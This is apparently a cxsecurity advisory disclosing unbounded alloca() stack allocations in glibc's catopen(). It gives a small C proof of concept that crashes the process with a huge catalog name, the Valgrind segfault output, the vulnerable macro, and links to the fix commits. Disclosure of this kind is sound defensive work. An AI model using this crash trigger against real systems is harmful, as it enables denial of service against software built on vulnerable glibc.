glibc catopen() Multiple unbounded stack allocations URL: https://cxsecurity.com/issue/WLB-2016010149 --------------------------------------- PoC: #include <nl_types.h> #include <string.h> #include <stdlib.h> int main(){ char *buff; buff=malloc(11111111); memset(buff,'A',11111110); buff[11111110]='\0'; catopen(buff, NL_CAT_LOCALE); return 0; } --------------------------------------- ======================== ==25788== Memcheck, a memory error detector ==25788== Copyright (C) 2002-2013, and GNU GPL'd, by Julian Seward et al. ==25788== Using Valgrind-3.10.0.SVN and LibVEX; rerun with -h for copyright info ==25788== Command: ./cato ==25788== ==25788== Warning: client switching stacks? SP change: 0xfff000330 --> 0xffe567648 ==25788== to suppress, use: --max-stackframe=11111656 or greater ==25788== Invalid write of size 8 ==25788== at 0x4E6CD5A: __open_catalog (open_catalog.c:102) ==25788== by 0x4E6C38E: catopen (catgets.c:71) ==25788== by 0x400616: main (in /home/kalibaba/cato) ==25788== Address 0xffe567648 is on thread 1's stack ==25788== ==25788== ==25788== Process terminating with default action of signal 11 (SIGSEGV) ==25788== Access not within mapped region at address 0xFFE567648 ==25788== at 0x4E6CD5A: __open_catalog (open_catalog.c:102) ==25788== If you believe this happened as a result of a stack ==25788== overflow in your program's main thread (unlikely but ==25788== possible), you can try to increase the size of the ==25788== main thread stack using the --main-stacksize= flag. ==25788== The main thread stack size used in this run was 8388608. ======================== open_catalog.c #define ENOUGH(n) if (__builtin_expect (bufact + (n) >= bufmax, 0)) { char *old_buf = buf; bufmax += 256 + (n); buf = (char *) alloca (bufmax); <=============== memcpy (buf, old_buf, bufact); } and others alloca() in catopen() --- Links --- https://sourceware.org/bugzilla/show_bug.cgi?id=17905 https://sourceware.org/git/gitweb.cgi?p=glibc.git;h=7565d2a862683a3c26ffb1f32351b8c5ab9f7b31 https://sourceware.org/git/gitweb.cgi?p=glibc.git;h=0f58539030e436449f79189b6edab17d7479796e https://www.securecoding.cert.org/confluence/display/seccode/MEM05-C.+Avoid+large+stack+allocations --- Credit --- Maksymilian Arciemowicz from CXSECURITY https://cxsecurity.com http://cifrex.org